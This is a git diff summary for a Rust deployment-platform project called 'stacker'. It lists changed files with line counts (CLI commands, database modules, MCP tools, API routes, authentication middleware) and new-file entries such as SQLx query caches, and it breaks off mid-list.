.../stacker/src/console/commands/callable.rs | 3 + .../stacker/src/console/commands/cli/agent.rs | 3559 +++++++ .../stacker/src/console/commands/cli/ai.rs | 1541 +++ .../stacker/src/console/commands/cli/ci.rs | 223 + .../console/commands/cli/cloud_firewall.rs | 294 + .../src/console/commands/cli/config.rs | 2323 +++++ .../src/console/commands/cli/connect.rs | 398 + .../src/console/commands/cli/deploy.rs | 5204 ++++++++++ .../src/console/commands/cli/deployment.rs | 515 + .../src/console/commands/cli/destroy.rs | 205 + .../src/console/commands/cli/explain.rs | 207 + .../stacker/src/console/commands/cli/init.rs | 1906 ++++ .../stacker/src/console/commands/cli/list.rs | 419 + .../stacker/src/console/commands/cli/login.rs | 96 + .../stacker/src/console/commands/cli/logs.rs | 585 ++ .../src/console/commands/cli/marketplace.rs | 210 + .../stacker/src/console/commands/cli/mod.rs | 26 + .../stacker/src/console/commands/cli/pipe.rs | 5461 +++++++++++ .../stacker/src/console/commands/cli/proxy.rs | 685 ++ .../src/console/commands/cli/resolve.rs | 127 + .../src/console/commands/cli/rollback.rs | 112 + .../src/console/commands/cli/secrets.rs | 2044 ++++ .../src/console/commands/cli/service.rs | 925 ++ .../src/console/commands/cli/ssh_key.rs | 684 ++ .../src/console/commands/cli/status.rs | 818 ++ .../src/console/commands/cli/submit.rs | 144 + .../src/console/commands/cli/update.rs | 268 + .../src/console/commands/cli/whoami.rs | 127 + .../src/console/commands/debug/casbin.rs | 64 + .../src/console/commands/debug/dockerhub.rs | 36 + .../src/console/commands/debug/json.rs | 53 + .../stacker/src/console/commands/debug/mod.rs | 7 + stacker/stacker/src/console/commands/mod.rs | 9 + .../src/console/commands/mq/listener.rs | 364 + .../stacker/src/console/commands/mq/mod.rs | 2 + stacker/stacker/src/console/main.rs | 544 ++ stacker/stacker/src/console/mod.rs | 1 + stacker/stacker/src/db/agent.rs | 202 + stacker/stacker/src/db/agent_audit_log.rs | 88 + stacker/stacker/src/db/agreement.rs | 220 + stacker/stacker/src/db/chat.rs | 101 + stacker/stacker/src/db/client.rs | 103 + stacker/stacker/src/db/cloud.rs | 173 + stacker/stacker/src/db/command.rs | 452 + stacker/stacker/src/db/dag.rs | 321 + stacker/stacker/src/db/deployment.rs | 276 + stacker/stacker/src/db/marketplace.rs | 2306 +++++ stacker/stacker/src/db/mod.rs | 19 + stacker/stacker/src/db/pipe.rs | 634 ++ stacker/stacker/src/db/product.rs | 31 + stacker/stacker/src/db/project.rs | 214 + stacker/stacker/src/db/project_app.rs | 369 + stacker/stacker/src/db/project_member.rs | 104 + stacker/stacker/src/db/rating.rs | 211 + stacker/stacker/src/db/remote_secret.rs | 210 + stacker/stacker/src/db/resilience.rs | 272 + stacker/stacker/src/db/server.rs | 340 + stacker/stacker/src/forms/agreement/add.rs | 19 + .../stacker/src/forms/agreement/adminadd.rs | 30 + stacker/stacker/src/forms/agreement/mod.rs | 5 + stacker/stacker/src/forms/cloud.rs | 221 + stacker/stacker/src/forms/cloud_firewall.rs | 364 + stacker/stacker/src/forms/firewall.rs | 156 + stacker/stacker/src/forms/mod.rs | 17 + stacker/stacker/src/forms/project/app.rs | 176 + .../src/forms/project/compose_networks.rs | 35 + stacker/stacker/src/forms/project/custom.rs | 171 + stacker/stacker/src/forms/project/deploy.rs | 104 + .../stacker/src/forms/project/docker_image.rs | 151 + .../stacker/src/forms/project/domain_list.rs | 5 + .../stacker/src/forms/project/environment.rs | 51 + stacker/stacker/src/forms/project/feature.rs | 14 + stacker/stacker/src/forms/project/form.rs | 76 + stacker/stacker/src/forms/project/icon.rs | 8 + .../stacker/src/forms/project/icon_dark.rs | 8 + .../stacker/src/forms/project/icon_light.rs | 8 + stacker/stacker/src/forms/project/mod.rs | 54 + stacker/stacker/src/forms/project/network.rs | 113 + .../src/forms/project/network_driver.rs | 15 + stacker/stacker/src/forms/project/payload.rs | 177 + stacker/stacker/src/forms/project/port.rs | 269 + stacker/stacker/src/forms/project/price.rs | 6 + .../stacker/src/forms/project/requirements.rs | 20 + stacker/stacker/src/forms/project/role.rs | 7 + stacker/stacker/src/forms/project/service.rs | 14 + .../src/forms/project/service_networks.rs | 55 + stacker/stacker/src/forms/project/var.rs | 33 + stacker/stacker/src/forms/project/version.rs | 24 + stacker/stacker/src/forms/project/volume.rs | 248 + stacker/stacker/src/forms/project/volumes.rs | 7 + stacker/stacker/src/forms/project/web.rs | 10 + stacker/stacker/src/forms/rating/add.rs | 105 + stacker/stacker/src/forms/rating/adminedit.rs | 29 + stacker/stacker/src/forms/rating/mod.rs | 7 + stacker/stacker/src/forms/rating/useredit.rs | 24 + stacker/stacker/src/forms/remote_secret.rs | 76 + stacker/stacker/src/forms/server.rs | 204 + stacker/stacker/src/forms/status_panel.rs | 2315 +++++ stacker/stacker/src/forms/user.rs | 147 + stacker/stacker/src/handoff.rs | 129 + stacker/stacker/src/health/checks.rs | 509 + stacker/stacker/src/health/metrics.rs | 168 + stacker/stacker/src/health/mod.rs | 7 + stacker/stacker/src/health/models.rs | 101 + .../stacker/src/helpers/agent_capabilities.rs | 65 + stacker/stacker/src/helpers/agent_client.rs | 44 + .../src/helpers/client/generate_secret.rs | 33 + .../src/helpers/client/is_secret_unique.rs | 28 + stacker/stacker/src/helpers/client/mod.rs | 5 + stacker/stacker/src/helpers/cloud/mod.rs | 2 + stacker/stacker/src/helpers/cloud/security.rs | 244 + stacker/stacker/src/helpers/compressor.rs | 43 + stacker/stacker/src/helpers/db_pools.rs | 41 + stacker/stacker/src/helpers/dockerhub.rs | 398 + stacker/stacker/src/helpers/env_path.rs | 38 + stacker/stacker/src/helpers/fs.rs | 91 + stacker/stacker/src/helpers/ip.rs | 33 + stacker/stacker/src/helpers/json.rs | 144 + stacker/stacker/src/helpers/mod.rs | 30 + stacker/stacker/src/helpers/mq_manager.rs | 184 + .../stacker/src/helpers/project/builder.rs | 474 + .../src/helpers/project/builder_config.rs | 8 + stacker/stacker/src/helpers/project/mod.rs | 4 + .../stacker/src/helpers/security_validator.rs | 883 ++ stacker/stacker/src/helpers/ssh_client.rs | 559 ++ stacker/stacker/src/helpers/stacker_labels.rs | 29 + stacker/stacker/src/helpers/vault.rs | 845 ++ stacker/stacker/src/lib.rs | 84 + stacker/stacker/src/main.rs | 82 + stacker/stacker/src/mcp/mod.rs | 12 + stacker/stacker/src/mcp/protocol.rs | 237 + stacker/stacker/src/mcp/protocol_tests.rs | 170 + stacker/stacker/src/mcp/registry.rs | 640 ++ stacker/stacker/src/mcp/session.rs | 53 + .../stacker/src/mcp/tools/agent_control.rs | 740 ++ .../stacker/src/mcp/tools/ansible_roles.rs | 585 ++ stacker/stacker/src/mcp/tools/cloud.rs | 673 ++ stacker/stacker/src/mcp/tools/compose.rs | 615 ++ stacker/stacker/src/mcp/tools/config.rs | 1348 +++ stacker/stacker/src/mcp/tools/deployment.rs | 1086 +++ stacker/stacker/src/mcp/tools/explain.rs | 469 + stacker/stacker/src/mcp/tools/firewall.rs | 569 ++ .../stacker/src/mcp/tools/install_preview.rs | 181 + .../src/mcp/tools/marketplace_admin.rs | 500 + stacker/stacker/src/mcp/tools/mod.rs | 39 + stacker/stacker/src/mcp/tools/monitoring.rs | 1520 +++ stacker/stacker/src/mcp/tools/pipes.rs | 781 ++ stacker/stacker/src/mcp/tools/project.rs | 936 ++ stacker/stacker/src/mcp/tools/proxy.rs | 441 + .../stacker/src/mcp/tools/recommendations.rs | 1400 +++ .../stacker/src/mcp/tools/remote_secrets.rs | 451 + stacker/stacker/src/mcp/tools/support.rs | 332 + stacker/stacker/src/mcp/tools/templates.rs | 309 + stacker/stacker/src/mcp/tools/user.rs | 3 + .../stacker/src/mcp/tools/user_service/mcp.rs | 666 ++ .../stacker/src/mcp/tools/user_service/mod.rs | 3 + stacker/stacker/src/mcp/websocket.rs | 381 + stacker/stacker/src/metrics.rs | 88 + .../middleware/authentication/getheader.rs | 21 + .../src/middleware/authentication/manager.rs | 37 + .../authentication/manager_middleware.rs | 66 + .../authentication/method/f_agent.rs | 199 + .../authentication/method/f_anonym.rs | 15 + .../authentication/method/f_cookie.rs | 72 + .../authentication/method/f_hmac.rs | 113 + .../middleware/authentication/method/f_jwt.rs | 61 + .../authentication/method/f_oauth.rs | 369 + .../authentication/method/f_query.rs | 77 + .../middleware/authentication/method/mod.rs | 15 + .../src/middleware/authentication/mod.rs | 9 + .../stacker/src/middleware/authorization.rs | 107 + stacker/stacker/src/middleware/mod.rs | 3 + stacker/stacker/src/middleware/prometheus.rs | 101 + stacker/stacker/src/models/agent.rs | 208 + stacker/stacker/src/models/agent_audit_log.rs | 29 + stacker/stacker/src/models/agent_protocol.rs | 263 + stacker/stacker/src/models/agreement.rs | 20 + stacker/stacker/src/models/cdc.rs | 370 + stacker/stacker/src/models/chat.rs | 13 + stacker/stacker/src/models/client.rs | 71 + stacker/stacker/src/models/cloud.rs | 192 + stacker/stacker/src/models/command.rs | 459 + stacker/stacker/src/models/dag.rs | 145 + stacker/stacker/src/models/deployment.rs | 130 + stacker/stacker/src/models/marketplace.rs | 322 + stacker/stacker/src/models/mod.rs | 46 + stacker/stacker/src/models/pipe.rs | 642 ++ stacker/stacker/src/models/product.rs | 16 + stacker/stacker/src/models/project.rs | 435 + stacker/stacker/src/models/project_app.rs | 368 + stacker/stacker/src/models/project_member.rs | 12 + stacker/stacker/src/models/ratecategory.rs | 64 + stacker/stacker/src/models/rating.rs | 15 + stacker/stacker/src/models/remote_secret.rs | 18 + stacker/stacker/src/models/resilience.rs | 116 + stacker/stacker/src/models/rules.rs | 6 + stacker/stacker/src/models/server.rs | 251 + stacker/stacker/src/models/user.rs | 152 + stacker/stacker/src/project_app/hydration.rs | 421 + stacker/stacker/src/project_app/mapping.rs | 370 + stacker/stacker/src/project_app/mod.rs | 80 + stacker/stacker/src/project_app/sync.rs | 306 + stacker/stacker/src/project_app/tests.rs | 1026 ++ stacker/stacker/src/project_app/upsert.rs | 232 + stacker/stacker/src/project_app/vault.rs | 437 + stacker/stacker/src/routes/agent/audit.rs | 153 + stacker/stacker/src/routes/agent/enqueue.rs | 321 + stacker/stacker/src/routes/agent/link.rs | 244 + stacker/stacker/src/routes/agent/login.rs | 163 + stacker/stacker/src/routes/agent/mod.rs | 19 + .../stacker/src/routes/agent/notifications.rs | 50 + stacker/stacker/src/routes/agent/register.rs | 196 + stacker/stacker/src/routes/agent/report.rs | 439 + stacker/stacker/src/routes/agent/snapshot.rs | 341 + stacker/stacker/src/routes/agent/wait.rs | 112 + stacker/stacker/src/routes/agreement/add.rs | 75 + stacker/stacker/src/routes/agreement/get.rs | 42 + stacker/stacker/src/routes/agreement/mod.rs | 7 + .../stacker/src/routes/agreement/update.rs | 43 + stacker/stacker/src/routes/chat/delete.rs | 27 + stacker/stacker/src/routes/chat/get.rs | 31 + stacker/stacker/src/routes/chat/mod.rs | 3 + stacker/stacker/src/routes/chat/upsert.rs | 29 + stacker/stacker/src/routes/client/add.rs | 45 + stacker/stacker/src/routes/client/disable.rs | 59 + stacker/stacker/src/routes/client/enable.rs | 62 + stacker/stacker/src/routes/client/mod.rs | 9 + stacker/stacker/src/routes/client/update.rs | 68 + stacker/stacker/src/routes/cloud/add.rs | 51 + stacker/stacker/src/routes/cloud/delete.rs | 37 + stacker/stacker/src/routes/cloud/get.rs | 51 + stacker/stacker/src/routes/cloud/mod.rs | 9 + stacker/stacker/src/routes/cloud/update.rs | 67 + stacker/stacker/src/routes/command/cancel.rs | 76 + stacker/stacker/src/routes/command/create.rs | 1488 +++ stacker/stacker/src/routes/command/get.rs | 66 + stacker/stacker/src/routes/command/list.rs | 95 + stacker/stacker/src/routes/command/mod.rs | 9 + .../src/routes/deployment/capabilities.rs | 342 + .../stacker/src/routes/deployment/events.rs | 55 + .../src/routes/deployment/force_complete.rs | 99 + stacker/stacker/src/routes/deployment/mod.rs | 13 + stacker/stacker/src/routes/deployment/plan.rs | 111 + .../stacker/src/routes/deployment/state.rs | 55 + .../stacker/src/routes/deployment/status.rs | 286 + stacker/stacker/src/routes/dockerhub/mod.rs | 156 + stacker/stacker/src/routes/handoff/mod.rs | 510 + stacker/stacker/src/routes/health_checks.rs | 34 + .../src/routes/legacy_installations.rs | 198 + .../stacker/src/routes/marketplace/admin.rs | 695 ++ .../stacker/src/routes/marketplace/agent.rs | 65 + .../src/routes/marketplace/categories.rs | 16 + .../stacker/src/routes/marketplace/creator.rs | 1154 +++ stacker/stacker/src/routes/marketplace/mod.rs | 18 + .../stacker/src/routes/marketplace/public.rs | 359 + stacker/stacker/src/routes/mod.rs | 37 + stacker/stacker/src/routes/pipe/create.rs | 217 + stacker/stacker/src/routes/pipe/dag.rs | 492 + stacker/stacker/src/routes/pipe/delete.rs | 97 + stacker/stacker/src/routes/pipe/deploy.rs | 103 + stacker/stacker/src/routes/pipe/executions.rs | 230 + .../stacker/src/routes/pipe/field_match.rs | 73 + stacker/stacker/src/routes/pipe/get.rs | 64 + stacker/stacker/src/routes/pipe/list.rs | 92 + stacker/stacker/src/routes/pipe/mod.rs | 53 + stacker/stacker/src/routes/pipe/resilience.rs | 339 + stacker/stacker/src/routes/pipe/stream.rs | 70 + stacker/stacker/src/routes/pipe/update.rs | 57 + stacker/stacker/src/routes/project/add.rs | 50 + stacker/stacker/src/routes/project/app.rs | 748 ++ stacker/stacker/src/routes/project/compose.rs | 55 + stacker/stacker/src/routes/project/delete.rs | 37 + stacker/stacker/src/routes/project/deploy.rs | 2496 +++++ .../stacker/src/routes/project/discover.rs | 624 ++ stacker/stacker/src/routes/project/get.rs | 71 + stacker/stacker/src/routes/project/member.rs | 100 + stacker/stacker/src/routes/project/mod.rs | 15 + stacker/stacker/src/routes/project/secret.rs | 177 + stacker/stacker/src/routes/project/service.rs | 0 stacker/stacker/src/routes/project/update.rs | 86 + stacker/stacker/src/routes/rating/add.rs | 53 + stacker/stacker/src/routes/rating/delete.rs | 60 + stacker/stacker/src/routes/rating/edit.rs | 85 + stacker/stacker/src/routes/rating/get.rs | 84 + stacker/stacker/src/routes/rating/mod.rs | 9 + stacker/stacker/src/routes/server/add.rs | 76 + .../src/routes/server/cloud_firewall.rs | 615 ++ stacker/stacker/src/routes/server/delete.rs | 159 + stacker/stacker/src/routes/server/get.rs | 74 + stacker/stacker/src/routes/server/mod.rs | 12 + stacker/stacker/src/routes/server/secret.rs | 192 + stacker/stacker/src/routes/server/ssh_key.rs | 623 ++ stacker/stacker/src/routes/server/update.rs | 91 + stacker/stacker/src/routes/test/deploy.rs | 20 + stacker/stacker/src/routes/test/mod.rs | 2 + stacker/stacker/src/routes/test/stack_view.rs | 30 + .../stacker/src/services/agent_dispatcher.rs | 90 + .../stacker/src/services/config_renderer.rs | 1778 ++++ stacker/stacker/src/services/dag_executor.rs | 363 + stacker/stacker/src/services/deploy_plan.rs | 600 ++ .../stacker/src/services/deployment_events.rs | 409 + .../src/services/deployment_identifier.rs | 329 + .../stacker/src/services/deployment_state.rs | 315 + stacker/stacker/src/services/env_contract.rs | 96 + stacker/stacker/src/services/env_model.rs | 228 + stacker/stacker/src/services/explain.rs | 267 + stacker/stacker/src/services/grpc_pipe.rs | 200 + stacker/stacker/src/services/handoff.rs | 58 + stacker/stacker/src/services/log_cache.rs | 383 + .../src/services/marketplace_assets.rs | 443 + stacker/stacker/src/services/mod.rs | 65 + stacker/stacker/src/services/project.rs | 1 + .../src/services/project_app_service.rs | 409 + stacker/stacker/src/services/rating.rs | 20 + .../stacker/src/services/resilience_engine.rs | 440 + stacker/stacker/src/services/step_executor.rs | 414 + stacker/stacker/src/services/typed_error.rs | 263 + stacker/stacker/src/services/user_service.rs | 1 + stacker/stacker/src/services/vault_service.rs | 868 ++ stacker/stacker/src/services/ws_pipe.rs | 172 + stacker/stacker/src/startup.rs | 494 + stacker/stacker/src/telemetry.rs | 35 + stacker/stacker/src/version.rs | 26 + stacker/stacker/src/views/mod.rs | 1 + stacker/stacker/src/views/rating/admin.rs | 33 + stacker/stacker/src/views/rating/anonymous.rs | 26 + stacker/stacker/src/views/rating/mod.rs | 7 + stacker/stacker/src/views/rating/user.rs | 31 + ...12210000_command_queue_cleanup_cron.up.sql | 49 + stacker/stacker/stackerdb/Dockerfile | 7 + stacker/stacker/stackerdb/README.md | 32 + stacker/stacker/test_agent_flow.sh | 140 + stacker/stacker/test_agent_report.sh | 49 + stacker/stacker/test_build.sh | 28 + stacker/stacker/test_mcp.js | 41 + stacker/stacker/test_mcp.py | 39 + stacker/stacker/test_tools.sh | 6 + stacker/stacker/test_ws.sh | 8 + stacker/stacker/web/node_modules/.bin/acorn | 1 + .../.bin/baseline-browser-mapping | 1 + .../web/node_modules/.bin/browserslist | 1 + stacker/stacker/web/node_modules/.bin/esbuild | 1 + stacker/stacker/web/node_modules/.bin/jsesc | 1 + stacker/stacker/web/node_modules/.bin/json5 | 1 + .../web/node_modules/.bin/loose-envify | 1 + .../stacker/web/node_modules/.bin/lz-string | 1 + stacker/stacker/web/node_modules/.bin/nanoid | 1 + .../stacker/web/node_modules/.bin/node-which | 1 + stacker/stacker/web/node_modules/.bin/parser | 1 + stacker/stacker/web/node_modules/.bin/rollup | 1 + stacker/stacker/web/node_modules/.bin/semver | 1 + .../stacker/web/node_modules/.bin/specificity | 1 + stacker/stacker/web/node_modules/.bin/tldts | 1 + stacker/stacker/web/node_modules/.bin/tsc | 1 + .../stacker/web/node_modules/.bin/tsserver | 1 + .../node_modules/.bin/update-browserslist-db | 1 + stacker/stacker/web/node_modules/.bin/vite | 1 + .../stacker/web/node_modules/.bin/vite-node | 1 + stacker/stacker/web/node_modules/.bin/vitest | 1 + .../web/node_modules/.bin/why-is-node-running | 1 + .../website/node_modules/.bin/is-docker | 1 + .../website/node_modules/.bin/node-which | 1 + stacker/stacker/website/node_modules/.bin/rc | 1 + .../stacker/website/node_modules/.bin/serve | 1 + stacker/stacker/website/node_modules/.bin/tsc | 1 + .../website/node_modules/.bin/tsserver | 1 + web/docs/build-with-ollama.md | 309 + 934 files changed, 176263 insertions(+), 1 deletion(-) create mode 100644 stacker/crates/TODO.md create mode 100644 stacker/crates/pipe-adapter-mail/Cargo.toml create mode 100644 stacker/crates/pipe-adapter-mail/TODO.md create mode 100644 stacker/crates/pipe-adapter-mail/src/lib.rs create mode 100644 stacker/crates/pipe-adapter-sdk/Cargo.toml create mode 100644 stacker/crates/pipe-adapter-sdk/src/lib.rs create mode 100644 stacker/stacker/.dockerignore create mode 100644 stacker/stacker/.github/copilot-instructions.md create mode 100644 stacker/stacker/.github/workflows/docker.yml create mode 100644 stacker/stacker/.github/workflows/notifier.yml create mode 100644 stacker/stacker/.github/workflows/release.yml create mode 100644 stacker/stacker/.github/workflows/rust.yml create mode 100644 stacker/stacker/.gitignore create mode 100644 stacker/stacker/.pre-commit-config.yaml create mode 100644 stacker/stacker/.sqlx/query-09211b75cd521772b4a9ca806efa60d355d2479811e2bb55d4f6b8163c7ad724.json create mode 100644 stacker/stacker/.sqlx/query-0bb6c35cba6f3c5573cf45c42b93709286b2a50446caa2a609aaf77af12b30bb.json create mode 100644 stacker/stacker/.sqlx/query-0dab58aa1022e2c1f4320f232195f54d89279057657c92305f606522fa142cf7.json create mode 100644 stacker/stacker/.sqlx/query-0f9023a3cea267596e9f99b3887012242345a8b4e4f9d838dc6d44cc34a89433.json create mode 100644 stacker/stacker/.sqlx/query-14fa465164d8fa6de1ab59209aff3db60e67415ccc5254af301adba4438971f5.json create mode 100644 stacker/stacker/.sqlx/query-17f59e9f273d48aaf85b09c227f298f6d6f6f231554d80ed621076157af7f80a.json create mode 100644 stacker/stacker/.sqlx/query-1ee7eb9b87cfcc6ba3d2bbc6351277ac4a7f94d9f0f448b5549e30fc6cc66e19.json create mode 100644 stacker/stacker/.sqlx/query-2c181e4aba4f79192dc57a072431e230d6b11d52ab7f6040f612d9f217642b13.json create mode 100644 stacker/stacker/.sqlx/query-2c7065ccf4a0a527087754db39a2077a054026cb2bc0c010aba218506e76110f.json create mode 100644 stacker/stacker/.sqlx/query-309c79e9f4b28e19488e71ca49974e0c9173f355d69459333acf181ff2a82a1c.json create mode 100644 stacker/stacker/.sqlx/query-327394e1777395afda4a1f6c1ca07431de81f886f6a8d6e0fbcd7b6633d30b98.json create mode 100644 stacker/stacker/.sqlx/query-32d118e607db4364979c52831e0c30a215779928a041ef51e93383e93288aac2.json create mode 100644 stacker/stacker/.sqlx/query-36f6c8ba5c553e6c13d0041482910bc38e48635c4df0c73c211d345a26cccf4e.json create mode 100644 stacker/stacker/.sqlx/query-3b6ec5ef58cb3b234d8c8d45641339d172624d59fff7494f1929c8fe37f564a4.json create mode 100644 stacker/stacker/.sqlx/query-3efacedb58ab13dad5eeaa4454a4d82beb1dedc0f62405d008f18045df981277.json create mode 100644 stacker/stacker/.sqlx/query-3fd71974a7948b85a0fa72d2c583e29118c63af715e14d9b0a50ef672b8b4d97.json create mode 100644 stacker/stacker/.sqlx/query-4048935127dfdfa4f8d1c7ec9137149b736702a008e920373c139d5cc8f228a5.json create mode 100644 stacker/stacker/.sqlx/query-41edb5195e8e68b8c80c8412f5bb93cf4838bd1e7e668dafd0fffbd13c90d5aa.json create mode 100644 stacker/stacker/.sqlx/query-4476636012dbc3320496e7d0f1bc7ab98a9e430127baa928fdf87ff8ef85d3c7.json create mode 100644 stacker/stacker/.sqlx/query-467365894a7f9a0888584e8879cac289299f4d03539b9c746324cd183e265553.json create mode 100644 stacker/stacker/.sqlx/query-4bdcd8d475ffd8aab728ec2b9d0d8c578770e2d52bf531de6e69561a4adbb21c.json create mode 100644 stacker/stacker/.sqlx/query-4e375cca55b0f106578474e5736094044e237999123952be7c78b46c937b8778.json create mode 100644 stacker/stacker/.sqlx/query-4f54a93856a693345a9f63552dabf3192c3108a2776bb56f36787af3fa884554.json create mode 100644 stacker/stacker/.sqlx/query-51517c5eb7f50e463ba2968f4d94e2285b551e817f881b7193fc88189b4001e0.json create mode 100644 stacker/stacker/.sqlx/query-535d270d0a7dbfea6f82e6448d5812d656a22fbb29d0309e907b7a260dc491d3.json create mode 100644 stacker/stacker/.sqlx/query-53a76c5d7dbb79cb51cace5ffacc2cf689a650fb90bccfb80689ef3c5b73a2b0.json create mode 100644 stacker/stacker/.sqlx/query-55573922a4b559fe1ceadd9a8bf7ce4e35e61a132eb25c7178b1f96733f6cd34.json create mode 100644 stacker/stacker/.sqlx/query-55e886a505d00b70674a19fd3228915ab4494cbd7058fdec868ab93c0fcfb4d8.json create mode 100644 stacker/stacker/.sqlx/query-5aaa47a88d81ba70ae7da455ac5c98fc77ae7c6422dc8eea31fd89863c83ffd3.json create mode 100644 stacker/stacker/.sqlx/query-5bf9f8aacbe676339d0811d305abace6cc4a4d068392f7b58f2d165042ab509e.json create mode 100644 stacker/stacker/.sqlx/query-5d36c126c67a5b70ac168bc46fcff3ee63ae5548ce78f244099f9d61ca694312.json create mode 100644 stacker/stacker/.sqlx/query-5e0b8298645aaf647eb1eb16dd74d81d663436e3a4fc6900d6f066e261ea8c54.json create mode 100644 stacker/stacker/.sqlx/query-5fea60d7574cfd238a7cbae4d93423869bd7b79dd5b246d80f0b6f39ce4659dc.json create mode 100644 stacker/stacker/.sqlx/query-6c3982183d2cb027eb7b7c9c9af529a5a264451fd8914aaba0062bfd5987d3db.json create mode 100644 stacker/stacker/.sqlx/query-6cdfab7ffca4a98abcd7fb2325289ccf3035f08340bf80a345ff74570cd62043.json create mode 100644 stacker/stacker/.sqlx/query-6e44fd63bcb2075e9515a7ce3d0be7a3759a98b5f1c637eb632aa440a1ffadb6.json create mode 100644 stacker/stacker/.sqlx/query-7466afe658bdac4d522b96b33e769c130a1c5d065df70ce221490356c7eb806a.json create mode 100644 stacker/stacker/.sqlx/query-7563c1c8327e4f89f658bdf48ae243bc6e8d150bbce86b7c147a9fca07c6d08c.json create mode 100644 stacker/stacker/.sqlx/query-7a6b4eb7eefd541ecb0529783ac01c36b2e69902623f289bd3cc6bf73d2b0ce8.json create mode 100644 stacker/stacker/.sqlx/query-7b20cbd01cca0469b0f79cc72908846456587e9c1ad2a52fc5aa58bc989be5a1.json create mode 100644 stacker/stacker/.sqlx/query-7c087b528df89eb0bf41a4e46bcc48ab4946535a96baf0f49996d79387a3791c.json create mode 100644 stacker/stacker/.sqlx/query-7e50789875fbdf752993b3fabe6031811acea54e4d47bbad2950494e626b807c.json create mode 100644 stacker/stacker/.sqlx/query-7e5e7d4fa4e56ca213dee602bf13ccbe9a3424d81d6db3534ba4a59967b63105.json create mode 100644 stacker/stacker/.sqlx/query-8038cec278228a04f83f4d67f8e2fd0382be589bf5d6dcde690b63f281160159.json create mode 100644 stacker/stacker/.sqlx/query-8218dc7f0a2d15d19391bdcde1dfe27d2ee90aa4598b17d90e5db82244ad6ff1.json create mode 100644 stacker/stacker/.sqlx/query-82eb411b1d8f6f3bed3db367ea147fbcd0626347744c7f8de6dce25d6e9a1fe7.json create mode 100644 stacker/stacker/.sqlx/query-836ec7786ee20369b6b49aa89587480579468a5cb4ecdf7b315920b5e0bd894c.json create mode 100644 stacker/stacker/.sqlx/query-83cd9d573480c8a83e9e58f375653b4d76ec4c4dea338877ef5ba72fa49c28ad.json create mode 100644 stacker/stacker/.sqlx/query-8572f1b25eb32d67fa2e8a11e2fdc1e9ccacb150cdba0063dd71ff6133eef99c.json create mode 100644 stacker/stacker/.sqlx/query-8aafae4565e572dc36aef3bb3d7b82a392e59683b9dfa1c457974e8fa8b7d00f.json create mode 100644 stacker/stacker/.sqlx/query-8bc673f6b9422bdc0e1f7b3aae61b851fb9d7b74a3ec519c9149f4948880d1be.json create mode 100644 stacker/stacker/.sqlx/query-8cfb2d3a45ff6c5d1d51a98f6a37ba89da5a49c211c8627c314b8a32c92a62e1.json create mode 100644 stacker/stacker/.sqlx/query-8db13c16e29b4aecd87646859296790f3e5971d7a2bff2d32f2d92590ec3393d.json create mode 100644 stacker/stacker/.sqlx/query-91966b9578edeb2303bbba93cfc756595265b21dd6f7a06a2f7a846d162b340c.json create mode 100644 stacker/stacker/.sqlx/query-9297aaf7dfb0d285baa3e6cb471753d2d19be70b8fd380a73c704e4ae51b3ae8.json create mode 100644 stacker/stacker/.sqlx/query-954605527a3ca7b9d6cbf1fbc03dc00c95626c94f0f02cbc69336836f95ec45e.json create mode 100644 stacker/stacker/.sqlx/query-9d821bd27d5202d2c3d49a2f148ff7f21bafde8c7c1306cc7efc976a9eae0071.json create mode 100644 stacker/stacker/.sqlx/query-9dc75c72351c3f0a7f2f13d1a638ff21ea671df07397a4f84fff3c2cb9bdec91.json create mode 100644 stacker/stacker/.sqlx/query-9e4f216c828c7d53547c33da062153f90eefabe5a252f86d5e8d1964785025c0.json create mode 100644 stacker/stacker/.sqlx/query-a0aeb1857bed3967f43b4d88d939af74e5fcec7b951cf1f28eef3d4ba9459717.json create mode 100644 stacker/stacker/.sqlx/query-a24f6ae41366cfc2480a7d7832b1f823cc91662394ec8025b7ef486b85374411.json create mode 100644 stacker/stacker/.sqlx/query-a4a4fd9930446021a166ead8216aaa891d03210da3c4ffe2bc7be18efcfc52bd.json create mode 100644 stacker/stacker/.sqlx/query-aa21279e6479dd588317bbb4c522094f0cf8736710de08963fff1178f2b62974.json create mode 100644 stacker/stacker/.sqlx/query-b33f8552276056b53e184e7e51c6cbee7b72e99977fd028a28d3e2f45be14225.json create mode 100644 stacker/stacker/.sqlx/query-b7730c23ed912fb66727333a9d362341bcc8f006dcfcd91033691ce35a2d5cb7.json create mode 100644 stacker/stacker/.sqlx/query-b8296183bd28695d3a7574e57db445dc1f4b2d659a3805f92f6f5f83b562266b.json create mode 100644 stacker/stacker/.sqlx/query-b8e47b0c9f1eeb571001c340c3f6593303ef635f9a93707996f86ae4a5db1e99.json create mode 100644 stacker/stacker/.sqlx/query-bc798b1837501109ff69f44c01d39c1cc03348eb4b4fe698ad06283ba7072b7f.json create mode 100644 stacker/stacker/.sqlx/query-c28d645182680aaeaf265abcb687ea36f2a01b6b778fd61921e0046ad3f2efb2.json create mode 100644 stacker/stacker/.sqlx/query-c9a83f9d610a79bef78e533dde75f527ab75ef319ef0584851feb5b893a9fa46.json create mode 100644 stacker/stacker/.sqlx/query-cb2a7c29711368a898ecc25e45303399e5d8b6713dcfb5f3bc704ef98842669d.json create mode 100644 stacker/stacker/.sqlx/query-cd6ddae34b29c15924e0ec26ea55c23d56315ad817bea716d6a71c8b2bb18087.json create mode 100644 stacker/stacker/.sqlx/query-cd86c117d0d53af2bdbb0e3d38c179bfa6025ef0a7f1245d59b8dfca1f421c63.json create mode 100644 stacker/stacker/.sqlx/query-cf85345c0c38d7ba1c347a9cf027a55dccaaeb0fe55d5eabb7319a90cbdfe951.json create mode 100644 stacker/stacker/.sqlx/query-d0180ded027387b6ed250412927e1252aab3be67b016e9dc10a40ba229225b68.json create mode 100644 stacker/stacker/.sqlx/query-d14f61cd13654182ec393276acb329737a3ce95efe860659aa5a85888b82c4d3.json create mode 100644 stacker/stacker/.sqlx/query-d4fdef5755536c2b9e0b56448c9f7b9143ee3a6fc9b363f93d0c816d44ebbbb0.json create mode 100644 stacker/stacker/.sqlx/query-dd36c2beb4867d36db9dc0fe47e6310aea0a7dd4c8fc5f7c2cff4dac327cf3f7.json create mode 100644 stacker/stacker/.sqlx/query-e0bc560df5637788c7096c0bf0535cc601af9ca4a06bd87100cd68a251431618.json create mode 100644 stacker/stacker/.sqlx/query-e1258273806ab030586a80cb7ac83a5339d0a631fc702082f95642ebb0c1d3a7.json create mode 100644 stacker/stacker/.sqlx/query-e30c243399e8d63aabb6b1002b499280f8140801c861122c5cbe59faa9797016.json create mode 100644 stacker/stacker/.sqlx/query-e5a60eb49da1cd42fc6c1bac36f038846f0cb4440e4b377d495ffe0f0bfc11b6.json create 